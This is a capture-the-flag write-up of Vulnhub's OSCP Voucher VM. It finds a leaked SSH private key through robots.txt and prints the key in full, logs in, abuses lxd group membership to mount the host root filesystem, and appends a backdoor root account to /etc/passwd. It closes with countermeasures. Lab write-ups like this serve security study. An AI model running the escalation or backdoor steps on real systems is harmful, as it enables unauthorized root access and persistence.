OSCP Prep - Vulnhub's OSCP Voucher VM
If you wish to follow along, you can access the machine here.
Summary
This was a very easy machine originally created as a 30 day give away voucher for the OSCP lab, lab materials, and exam attempt.
A hidden file was found on this machine’s web server which happened to be a user’s private SSH key.
The private key was then used to log in to the machine as the oscp
user which happened to be part of the lxd
group.
Users that are part of the lxd
group implicitly have read/write/execute privileges as root.
Active Ports
sudo nmap -p22,80,33060 -sC -sV -oA nmap/full-tcp-version 192.168.254.157
Nmap scan report for 192.168.254.157
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry
|_/secret.txt
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: OSCP Voucher – Just another WordPress site
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.80%I=7%D=9/21%Time=5F68E902%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000
SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
MAC Address: 00:0C:29:58:C6:A0 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 21 13:55:30 2020 -- 1 IP address (1 host up) scanned in 22.27 seconds
Web Enumeartion (Leaked SSH user and private key)
Naviagting to the web service presented me with the following page:
Looking at the nmap scan, I noticed a path to a /robots.txt
file:
I then downloaded the secret and base64 decoded it to get a user’s private key:
kali@kali:~/ctf/vulnhub/oscp/web/loot$ wget http://192.168.254.157/secret.txt
--2020-09-21 13:58:18-- http://192.168.254.157/secret.txt
Connecting to 192.168.254.157:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3502 (3.4K) [text/plain]
Saving to: ‘secret.txt’
secret.txt 100%[====================================================================================================>] 3.42K --.-KB/s in 0s
2020-09-21 13:58:18 (564 MB/s) - ‘secret.txt’ saved [3502/3502]
kali@kali:~/ctf/vulnhub/oscp/web/loot$ base64 -d secret.txt > secret.pt
kali@kali:~/ctf/vulnhub/oscp/web/loot$ cat secret.pt
-----BEGIN OPENSSH PRIVATE KEY-----
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
8nfK2oDc6LfrDmjQAAAAlvc2NwQG9zY3A=
-----END OPENSSH PRIVATE KEY-----
At this point, I needed to figured out which user this key belonged to.
From reading the web page, I noticed that one user was named oscp
, so I had two candidate users:
- oscp
- root
I was then able to use the private key to log in as the oscp
user:
kali@kali:~/ctf/vulnhub/oscp/web/loot$ chmod 700 secret.pt
kali@kali:~/ctf/vulnhub/oscp/web/loot$ ssh -i secret.pt oscp@192.168.254.157
The authenticity of host '192.168.254.157 (192.168.254.157)' can't be established.
ECDSA key fingerprint is SHA256:j6pDoPWkkeKgplTqHPtxSxrMqrQRMPl5AIW2Lfn14y8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.254.157' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 21 Sep 2020 05:59:52 PM UTC
System load: 0.08 Processes: 208
Usage of /: 26.3% of 19.56GB Users logged in: 0
Memory usage: 69% IPv4 address for eth0: 192.168.254.157
Swap usage: 2%
111 updates can be installed immediately.
46 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Last login: Sat Jul 11 16:50:11 2020 from 192.168.128.1
-bash-5.0$ id
uid=1000(oscp) gid=1000(oscp) groups=1000(oscp),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
Privilege Escalation (Abusing lxd group privileges)
I checked the current groups the compromised oscp
user was part of:
-bash-5.0$ id
uid=1000(oscp) gid=1000(oscp) groups=1000(oscp),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
Notably, the oscp
user was part of the lxd
group. This meant that this user implicitly had read/write/execute privileges as root without requiring a password.
From here, I started building an Alpine Linux container so that I could eventually mount it to access the host’s root file system with write privileges. I used the following article from hacktricks as a reference:
On my Kali machine:
# Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
go get -d -v github.com/lxc/distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
#Prepare the creation of alpine
mkdir -p /home/kali/ctf/vulnhub/oscp/privesc/ContainerImages/alpine/
cd /home/kali/ctf/vulnhub/oscp/privesc/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.architecture=x86_64 -o image.release=edge
This created the lxd.tar.xz
and rootfs.squashfs
files in my current working directory.
I then transferred those files from my Kali machine to the oscp machine:
-bash-5.0$ wget http://192.168.254.145:8000/lxd.tar.xz
--2020-09-21 18:29:38-- http://192.168.254.145:8000/lxd.tar.xz
Connecting to 192.168.254.145:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 872 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[====================================================================================================>] 872 --.-KB/s in 0s
2020-09-21 18:29:38 (89.1 MB/s) - ‘lxd.tar.xz’ saved [872/872]
-bash-5.0$ wget http://192.168.254.145:8000/rootfs.squashfs
--2020-09-21 18:29:46-- http://192.168.254.145:8000/rootfs.squashfs
Connecting to 192.168.254.145:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4415488 (4.2M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[====================================================================================================>] 4.21M --.-KB/s in 0.05s
2020-09-21 18:29:46 (90.6 MB/s) - ‘rootfs.squashfs’ saved [4415488/4415488]
Next, I searched for the lxc
tool:
-bash-5.0$ find / -iname lxc 2>/dev/null
/snap/lxd/16100/bin/lxc
/snap/lxd/16100/commands/lxc
/snap/lxd/16100/lxc
/snap/lxd/17320/bin/lxc
/snap/lxd/17320/commands/lxc
/snap/lxd/17320/lxc
/snap/bin/lxc
/usr/share/bash-completion/completions/lxc
The lxc
tool was located at /snap/bin/lxc
. Next, I imported the Alpine Linux image:
-bash-5.0$ /snap/bin/lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04
Image imported with fingerprint: 922072e9de0047fae387ad82163b54d59f029dc59dac4a9b53d46bedf8cc07d8
-bash-5.0$ /snap/bin/lxc image list
+--------+--------------+--------+-----------------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+-----------------------------------------+--------------+-----------+--------+------------------------------+
| alpine | 922072e9de00 | no | Alpinelinux edge x86_64 (20200921_1825) | x86_64 | CONTAINER | 4.21MB | Sep 21, 2020 at 6:32pm (UTC) |
+--------+--------------+--------+-----------------------------------------+--------------+-----------+--------+------------------------------+
Then, I created a persistent storage location for the container runtime, specified a root disk device for starting the container, and mounted the host’s root file system into the container:
-bash-5.0$ /snap/bin/lxc storage create pool1 dir
Storage pool pool1 created
-bash-5.0$ /snap/bin/lxc profile device add default root disk path=/ pool=pool1
Device root added to default
-bash-5.0$ /snap/bin/lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
Next, I started the container and invoked a shell in it:
-bash-5.0$ /snap/bin/lxc start privesc
-bash-5.0$ /snap/bin/lxc exec privesc /bin/sh
# cat /mnt/root/root/flag.txt
d73b04b0e696b0945283defa3eee4538
Notice that the root file system was mounted to /mnt/root
in the container. Here, I had full read/write access to the host.
Then, I appended a backdoor root user entry to the /etc/passwd
file from within the container for more persistent access:
$ openssl passwd
Password:
Verifying - Password:
uPz1zBu9ZKVUg
From within the container:
echo 'r0kit:uPz1zBu9ZKVUg:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd
Since SSH was only enabled via public key, I used my existing shell session to switch to the r0kit user:
-bash-5.0$ su r0kit
Password:
root@oscp:/home/oscp# id
uid=0(root) gid=0(root) groups=0(root)
At this point, I had full remote code execution as root on the machine.
Failed Recon
- Could not use the oscp user’s private key to SSH as root.
- Could not recover the plaintext password for the admin user in the wordpress database in a reasonable amount of time.
- Could not recover the oscp user’s password.
Countermeasures
- Never expose SSH private keys on directories accessible via a web server.
- Only allow super users of the machine to be part of the
lxc/lxd
groups. Any user that is part of that group implicitly has root read/write/execute privileges on the system.